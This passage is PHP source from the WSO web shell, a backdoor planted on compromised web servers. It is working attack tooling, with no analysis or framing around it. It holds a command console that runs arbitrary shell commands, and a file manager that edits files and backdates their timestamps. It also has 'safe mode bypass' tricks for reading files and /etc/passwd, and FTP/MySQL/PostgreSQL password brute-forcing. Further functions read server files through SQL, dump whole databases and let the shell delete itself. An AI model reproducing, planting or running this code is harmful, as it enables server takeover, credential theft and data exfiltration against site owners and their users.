743 function wsoCmp($a, $b)
744 {
745 if ($GLOBALS['sort'][0] != 'size')
746 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
747 else
748 return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
749 }
750 usort($files, "wsoCmp");
751 usort($dirs, "wsoCmp");
752 $files = array_merge($dirs, $files);
753 $l = 0;
754 foreach ($files as $f) {
755 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
756 $l = $l ? 0 : 1;
757 }
758 echo "<tr><td colspan=7>
759 <input type=hidden name=a value='FilesMan'>
760 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
761 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
762 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
763 if (class_exists('ZipArchive'))
764 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
765 echo "<option value='tar'>Compress (tar.gz)</option>";
766 if (!empty($_SESSION['act']) && @count($_SESSION['f']))
767 echo "<option value='paste'>Paste / Compress</option>";
768 echo "</select> ";
769 if (!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
770 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
771 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
772 wsoFooter();
773}
774function actionStringTools()
775{
776 if (!function_exists('hex2bin')) {
777 function hex2bin($p)
778 {
779 return decbin(hexdec($p));
780 }
781 }
782 if (!function_exists('binhex')) {
783 function binhex($p)
784 {
785 return dechex(bindec($p));
786 }
787 }
788 if (!function_exists('hex2ascii')) {
789 function hex2ascii($p)
790 {
791 $r = '';
792 for ($i = 0; $i < strLen($p); $i += 2) {
793 $r .= chr(hexdec($p[$i] . $p[$i + 1]));
794 }
795 return $r;
796 }
797 }
798 if (!function_exists('ascii2hex')) {
799 function ascii2hex($p)
800 {
801 $r = '';
802 for ($i = 0; $i < strlen($p); ++$i)
803 $r .= sprintf('%02X', ord($p[$i]));
804 return strtoupper($r);
805 }
806 }
807 if (!function_exists('full_urlencode')) {
808 function full_urlencode($p)
809 {
810 $r = '';
811 for ($i = 0; $i < strlen($p); ++$i)
812 $r .= '%' . dechex(ord($p[$i]));
813 return strtoupper($r);
814 }
815 }
816 $stringTools = array(
817 'Base64 encode' => 'base64_encode',
818 'Base64 decode' => 'base64_decode',
819 'Url encode' => 'urlencode',
820 'Url decode' => 'urldecode',
821 'Full urlencode' => 'full_urlencode',
822 'md5 hash' => 'md5',
823 'sha1 hash' => 'sha1',
824 'crypt' => 'crypt',
825 'CRC32' => 'crc32',
826 'ASCII to HEX' => 'ascii2hex',
827 'HEX to ASCII' => 'hex2ascii',
828 'HEX to DEC' => 'hexdec',
829 'HEX to BIN' => 'hex2bin',
830 'DEC to HEX' => 'dechex',
831 'DEC to BIN' => 'decbin',
832 'BIN to HEX' => 'binhex',
833 'BIN to DEC' => 'bindec',
834 'String to lower case' => 'strtolower',
835 'String to upper case' => 'strtoupper',
836 'Htmlspecialchars' => 'htmlspecialchars',
837 'String length' => 'strlen'
838 );
839 if (isset($_POST['ajax'])) {
840 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
841 ob_start();
842 if (in_array($_POST['p1'], $stringTools))
843 echo $_POST['p1']($_POST['p2']);
844 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
845 echo strlen($temp), "\n", $temp;
846 exit;
847 }
848 wsoHeader();
849 echo '<h1>String conversions</h1><div class=content>';
850 if (empty($_POST['ajax']) && !empty($_POST['p1']))
851 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
852 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
853 foreach ($stringTools as $k => $v)
854 echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
855 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
856 if (!empty($_POST['p1'])) {
857 if (in_array($_POST['p1'], $stringTools))
858 echo htmlspecialchars($_POST['p1']($_POST['p2']));
859 }
860 echo "</pre></div><br><h1>Search text in files:</h1><div class=content>
861 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
862 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
863 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
864 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
865 <tr><td></td><td><input type='submit' value='>>'></td></tr>
866 </table></form>";
867 function wsoRecursiveGlob($path)
868 {
869 if (substr($path, -1) != '/')
870 $path .= '/';
871 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
872 if (is_array($paths) && @count($paths)) {
873 foreach ($paths as $item) {
874 if (@is_dir($item)) {
875 if ($path != $item)
876 wsoRecursiveGlob($item);
877 } else {
878 if (@strpos(@file_get_contents($item), @$_POST['p2']) !== false)
879 echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br>";
880 }
881 }
882 }
883 }
884 if (@$_POST['p3'])
885 wsoRecursiveGlob($_POST['c']);
886 echo "</div><br><h1>Search for hash:</h1><div class=content>
887 <form method='post' target='_blank' name='hf'>
888 <input type='text' name='hash' style='width:200px;'><br>
889 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
890 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
891 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
892 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
893 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
894 </form></div>";
895 wsoFooter();
896}
897function actionFilesTools()
898{
899 if (isset($_POST['p1']))
900 $_POST['p1'] = urldecode($_POST['p1']);
901 if (@$_POST['p2'] == 'download') {
902 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
903 ob_start("ob_gzhandler", 4096);
904 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
905 if (function_exists("mime_content_type")) {
906 $type = @mime_content_type($_POST['p1']);
907 header("Content-Type: " . $type);
908 } else
909 header("Content-Type: application/octet-stream");
910 $fp = @fopen($_POST['p1'], "r");
911 if ($fp) {
912 while (!@feof($fp))
913 echo @fread($fp, 1024);
914 fclose($fp);
915 }
916 }
917 exit;
918 }
919 if (@$_POST['p2'] == 'mkfile') {
920 if (!file_exists($_POST['p1'])) {
921 $fp = @fopen($_POST['p1'], 'w');
922 if ($fp) {
923 $_POST['p2'] = "edit";
924 fclose($fp);
925 }
926 }
927 }
928 wsoHeader();
929 echo '<h1>File tools</h1><div class=content>';
930 if (!file_exists(@$_POST['p1'])) {
931 echo 'File not exists';
932 wsoFooter();
933 return;
934 }
935 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
936 if (!$uid) {
937 $uid['name'] = @fileowner($_POST['p1']);
938 $gid['name'] = @filegroup($_POST['p1']);
939 } else
940 $gid = @posix_getgrgid(@filegroup($_POST['p1']));
941 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
942 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
943 if (empty($_POST['p2']))
944 $_POST['p2'] = 'view';
945 if (is_file($_POST['p1']))
946 $m = array(
947 'View',
948 'Highlight',
949 'Download',
950 'Hexdump',
951 'Edit',
952 'Chmod',
953 'Rename',
954 'Touch'
955 );
956 else
957 $m = array(
958 'Chmod',
959 'Rename',
960 'Touch'
961 );
962 foreach ($m as $v)
963 echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
964 echo '<br><br>';
965 switch ($_POST['p2']) {
966 case 'view':
967 echo '<pre class=ml1>';
968 $fp = @fopen($_POST['p1'], 'r');
969 if ($fp) {
970 while (!@feof($fp))
971 echo htmlspecialchars(@fread($fp, 1024));
972 @fclose($fp);
973 }
974 echo '</pre>';
975 break;
976 case 'highlight':
977 if (@is_readable($_POST['p1'])) {
978 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
979 $code = @highlight_file($_POST['p1'], true);
980 echo str_replace(array(
981 '<span ',
982 '</span>'
983 ), array(
984 '<font ',
985 '</font>'
986 ), $code) . '</div>';
987 }
988 break;
989 case 'chmod':
990 if (!empty($_POST['p3'])) {
991 $perms = 0;
992 for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i)
993 $perms += (int) $_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
994 if (!@chmod($_POST['p1'], $perms))
995 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
996 }
997 clearstatcache();
998 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
999 break;
1000 case 'edit':
1001 if (!is_writable($_POST['p1'])) {
1002 echo 'File isn\'t writeable';
1003 break;
1004 }
1005 if (!empty($_POST['p3'])) {
1006 $time = @filemtime($_POST['p1']);
1007 $_POST['p3'] = substr($_POST['p3'], 1);
1008 $fp = @fopen($_POST['p1'], "w");
1009 if ($fp) {
1010 @fwrite($fp, $_POST['p3']);
1011 @fclose($fp);
1012 echo 'Saved!<br><script>p3_="";</script>';
1013 @touch($_POST['p1'], $time, $time);
1014 }
1015 }
1016 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1017 $fp = @fopen($_POST['p1'], 'r');
1018 if ($fp) {
1019 while (!@feof($fp))
1020 echo htmlspecialchars(@fread($fp, 1024));
1021 @fclose($fp);
1022 }
1023 echo '</textarea><input type=submit value=">>"></form>';
1024 break;
1025 case 'hexdump':
1026 $c = @file_get_contents($_POST['p1']);
1027 $n = 0;
1028 $h = array(
1029 '00000000<br>',
1030 '',
1031 ''
1032 );
1033 $len = strlen($c);
1034 for ($i = 0; $i < $len; ++$i) {
1035 $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
1036 switch (ord($c[$i])) {
1037 case 0:
1038 $h[2] .= ' ';
1039 break;
1040 case 9:
1041 $h[2] .= ' ';
1042 break;
1043 case 10:
1044 $h[2] .= ' ';
1045 break;
1046 case 13:
1047 $h[2] .= ' ';
1048 break;
1049 default:
1050 $h[2] .= $c[$i];
1051 break;
1052 }
1053 $n++;
1054 if ($n == 32) {
1055 $n = 0;
1056 if ($i + 1 < $len) {
1057 $h[0] .= sprintf('%08X', $i + 1) . '<br>';
1058 }
1059 $h[1] .= '<br>';
1060 $h[2] .= "\n";
1061 }
1062 }
1063 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
1064 break;
1065 case 'rename':
1066 if (!empty($_POST['p3'])) {
1067 if (!@rename($_POST['p1'], $_POST['p3']))
1068 echo 'Can\'t rename!<br>';
1069 else
1070 die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
1071 }
1072 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
1073 break;
1074 case 'touch':
1075 if (!empty($_POST['p3'])) {
1076 $time = strtotime($_POST['p3']);
1077 if ($time) {
1078 if (!touch($_POST['p1'], $time, $time))
1079 echo 'Fail!';
1080 else
1081 echo 'Touched!';
1082 } else
1083 echo 'Bad time format!';
1084 }
1085 clearstatcache();
1086 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
1087 break;
1088 }
1089 echo '</div>';
1090 wsoFooter();
1091}
1092function actionSafeMode()
1093{
1094 $temp = '';
1095 ob_start();
1096 switch ($_POST['p1']) {
1097 case 1:
1098 $temp = @tempnam($test, 'cx');
1099 if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
1100 echo @file_get_contents($temp);
1101 unlink($temp);
1102 } else
1103 echo 'Sorry... Can\'t open file';
1104 break;
1105 case 2:
1106 $files = glob($_POST['p2'] . '*');
1107 if (is_array($files))
1108 foreach ($files as $filename)
1109 echo $filename . "\n";
1110 break;
1111 case 3:
1112 $ch = curl_init("file://" . $_POST['p2'] . "\x00" . preg_replace('!\(\d+\)\s.*!', '', __FILE__));
1113 curl_exec($ch);
1114 break;
1115 case 4:
1116 ini_restore("safe_mode");
1117 ini_restore("open_basedir");
1118 include($_POST['p2']);
1119 break;
1120 case 5:
1121 for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
1122 $uid = @posix_getpwuid($_POST['p2']);
1123 if ($uid)
1124 echo join(':', $uid) . "\n";
1125 }
1126 break;
1127 }
1128 $temp = ob_get_clean();
1129 wsoHeader();
1130 echo '<h1>Safe mode bypass</h1><div class=content>';
1131 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
1132 if ($temp)
1133 echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
1134 echo '</div>';
1135 wsoFooter();
1136}
1137function actionConsole()
1138{
1139 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
1140 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = true;
1141 $_POST['p1'] .= ' 2>&1';
1142 } elseif (!empty($_POST['p1']))
1143 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = false;
1144 if (isset($_POST['ajax'])) {
1145 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
1146 ob_start();
1147 echo "d.cf.cmd.value='';\n";
1148 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']), "\n\r\t\\'\0"));
1149 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
1150 if (@chdir($match[1])) {
1151 $GLOBALS['cwd'] = @getcwd();
1152 echo "c_='" . $GLOBALS['cwd'] . "';";
1153 }
1154 }
1155 echo "d.cf.output.value+='" . $temp . "';";
1156 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1157 $temp = ob_get_clean();
1158 echo strlen($temp), "\n", $temp;
1159 exit;
1160 }
1161 wsoHeader();
1162 echo "<script>
1163if(window.Event) window.captureEvents(Event.KEYDOWN);
1164var cmds = new Array('');
1165var cur = 0;
1166function kp(e) {
1167 var n = (window.Event) ? e.which : e.keyCode;
1168 if(n == 38) {
1169 cur--;
1170 if(cur>=0)
1171 document.cf.cmd.value = cmds[cur];
1172 else
1173 cur++;
1174 } else if(n == 40) {
1175 cur++;
1176 if(cur < cmds.length)
1177 document.cf.cmd.value = cmds[cur];
1178 else
1179 cur--;
1180 }
1181}
1182function add(cmd) {
1183 cmds.pop();
1184 cmds.push(cmd);
1185 cmds.push('');
1186 cur = cmds.length-1;
1187}
1188</script>";
1189 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1190 foreach ($GLOBALS['aliases'] as $n => $v) {
1191 if ($v == '') {
1192 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
1193 continue;
1194 }
1195 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
1196 }
1197 if (empty($_POST['ajax']) && !empty($_POST['p1']))
1198 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
1199 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1200 if (!empty($_POST['p1'])) {
1201 echo htmlspecialchars("$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
1202 }
1203 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1204 echo '</form></div><script>d.cf.cmd.focus();</script>';
1205 wsoFooter();
1206}
1207function actionLogout()
1208{
1209 session_destroy();
1210 die('bye!');
1211}
1212function actionSelfRemove()
1213{
1214 if ($_POST['p1'] == 'yes')
1215 if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1216 die('Shell has been removed');
1217 else
1218 echo 'unlink error!';
1219 if ($_POST['p1'] != 'yes')
1220 wsoHeader();
1221 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1222 wsoFooter();
1223}
1224function actionBruteforce()
1225{
1226 wsoHeader();
1227 if (isset($_POST['proto'])) {
1228 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
1229 if ($_POST['proto'] == 'ftp') {
1230 function bruteForce($ip, $port, $login, $pass)
1231 {
1232 $fp = @ftp_connect($ip, $port ? $port : 21);
1233 if (!$fp)
1234 return false;
1235 $res = @ftp_login($fp, $login, $pass);
1236 @ftp_close($fp);
1237 return $res;
1238 }
1239 } elseif ($_POST['proto'] == 'mysql') {
1240 function bruteForce($ip, $port, $login, $pass)
1241 {
1242 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
1243 @mysql_close($res);
1244 return $res;
1245 }
1246 } elseif ($_POST['proto'] == 'pgsql') {
1247 function bruteForce($ip, $port, $login, $pass)
1248 {
1249 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
1250 $res = @pg_connect($str);
1251 @pg_close($res);
1252 return $res;
1253 }
1254 }
1255 $success = 0;
1256 $attempts = 0;
1257 $server = explode(":", $_POST['server']);
1258 if ($_POST['type'] == 1) {
1259 $temp = @file('/etc/passwd');
1260 if (is_array($temp))
1261 foreach ($temp as $line) {
1262 $line = explode(":", $line);
1263 ++$attempts;
1264 if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
1265 $success++;
1266 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
1267 }
1268 if (@$_POST['reverse']) {
1269 $tmp = "";
1270 for ($i = strlen($line[0]) - 1; $i >= 0; --$i)
1271 $tmp .= $line[0][$i];
1272 ++$attempts;
1273 if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
1274 $success++;
1275 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1276 }
1277 }
1278 }
1279 } elseif ($_POST['type'] == 2) {
1280 $temp = @file($_POST['dict']);
1281 if (is_array($temp))
1282 foreach ($temp as $line) {
1283 $line = trim($line);
1284 ++$attempts;
1285 if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
1286 $success++;
1287 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
1288 }
1289 }
1290 }
1291 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1292 }
1293 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1294 echo '</div><br>';
1295 wsoFooter();
1296}
1297function actionSql()
1298{
1299 class DbClass
1300 {
1301 var $type;
1302 var $link;
1303 var $res;
1304 function DbClass($type)
1305 {
1306 $this->type = $type;
1307 }
1308 function connect($host, $user, $pass, $dbname)
1309 {
1310 switch ($this->type) {
1311 case 'mysql':
1312 if ($this->link = @mysql_connect($host, $user, $pass, true))
1313 return true;
1314 break;
1315 case 'pgsql':
1316 $host = explode(':', $host);
1317 if (!$host[1])
1318 $host[1] = 5432;
1319 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))
1320 return true;
1321 break;
1322 }
1323 return false;
1324 }
1325 function selectdb($db)
1326 {
1327 switch ($this->type) {
1328 case 'mysql':
1329 if (@mysql_select_db($db))
1330 return true;
1331 break;
1332 }
1333 return false;
1334 }
1335 function query($str)
1336 {
1337 switch ($this->type) {
1338 case 'mysql':
1339 return $this->res = @mysql_query($str);
1340 break;
1341 case 'pgsql':
1342 return $this->res = @pg_query($this->link, $str);
1343 break;
1344 }
1345 return false;
1346 }
1347 function fetch()
1348 {
1349 $res = func_num_args() ? func_get_arg(0) : $this->res;
1350 switch ($this->type) {
1351 case 'mysql':
1352 return @mysql_fetch_assoc($res);
1353 break;
1354 case 'pgsql':
1355 return @pg_fetch_assoc($res);
1356 break;
1357 }
1358 return false;
1359 }
1360 function listDbs()
1361 {
1362 switch ($this->type) {
1363 case 'mysql':
1364 return $this->query("SHOW databases");
1365 break;
1366 case 'pgsql':
1367 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1368 break;
1369 }
1370 return false;
1371 }
1372 function listTables()
1373 {
1374 switch ($this->type) {
1375 case 'mysql':
1376 return $this->res = $this->query('SHOW TABLES');
1377 break;
1378 case 'pgsql':
1379 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1380 break;
1381 }
1382 return false;
1383 }
1384 function error()
1385 {
1386 switch ($this->type) {
1387 case 'mysql':
1388 return @mysql_error();
1389 break;
1390 case 'pgsql':
1391 return @pg_last_error();
1392 break;
1393 }
1394 return false;
1395 }
1396 function setCharset($str)
1397 {
1398 switch ($this->type) {
1399 case 'mysql':
1400 if (function_exists('mysql_set_charset'))
1401 return @mysql_set_charset($str, $this->link);
1402 else
1403 $this->query('SET CHARSET ' . $str);
1404 break;
1405 case 'pgsql':
1406 return @pg_set_client_encoding($this->link, $str);
1407 break;
1408 }
1409 return false;
1410 }
1411 function loadFile($str)
1412 {
1413 switch ($this->type) {
1414 case 'mysql':
1415 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1416 break;
1417 case 'pgsql':
1418 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1419 $r = array();
1420 while ($i = $this->fetch())
1421 $r[] = $i['file'];
1422 $this->query('drop table wso2');
1423 return array(
1424 'file' => implode("\n", $r)
1425 );
1426 break;
1427 }
1428 return false;
1429 }
1430 function dump($table, $fp = false)
1431 {
1432 switch ($this->type) {
1433 case 'mysql':
1434 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1435 $create = mysql_fetch_array($res);
1436 $sql = $create[1] . ";\n";
1437 if ($fp)
1438 fwrite($fp, $sql);
1439 else
1440 echo ($sql);
1441 $this->query('SELECT * FROM `' . $table . '`');
1442 $head = true;
1443 while ($item = $this->fetch()) {
1444 $columns = array();
1445 foreach ($item as $k => $v) {
1446 if ($v == null)
1447 $item[$k] = "NULL";
1448 elseif (is_numeric($v))
1449 $item[$k] = $v;
1450 else
1451 $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1452 $columns[] = "`" . $k . "`";
1453 }
1454 if ($head) {
1455 $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
1456 $head = false;
1457 } else
1458 $sql = "\n\t,(" . implode(", ", $item) . ')';
1459 if ($fp)
1460 fwrite($fp, $sql);
1461 else
1462 echo ($sql);
1463 }
1464 if (!$head)
1465 if ($fp)
1466 fwrite($fp, ";\n\n");
1467 else
1468 echo (";\n\n");
1469 break;
1470 case 'pgsql':
1471 $this->query('SELECT * FROM ' . $table);
1472 while ($item = $this->fetch()) {
1473 $columns = array();
1474 foreach ($item as $k => $v) {
1475 $item[$k] = "'" . addslashes($v) . "'";
1476 $columns[] = $k;
1477 }
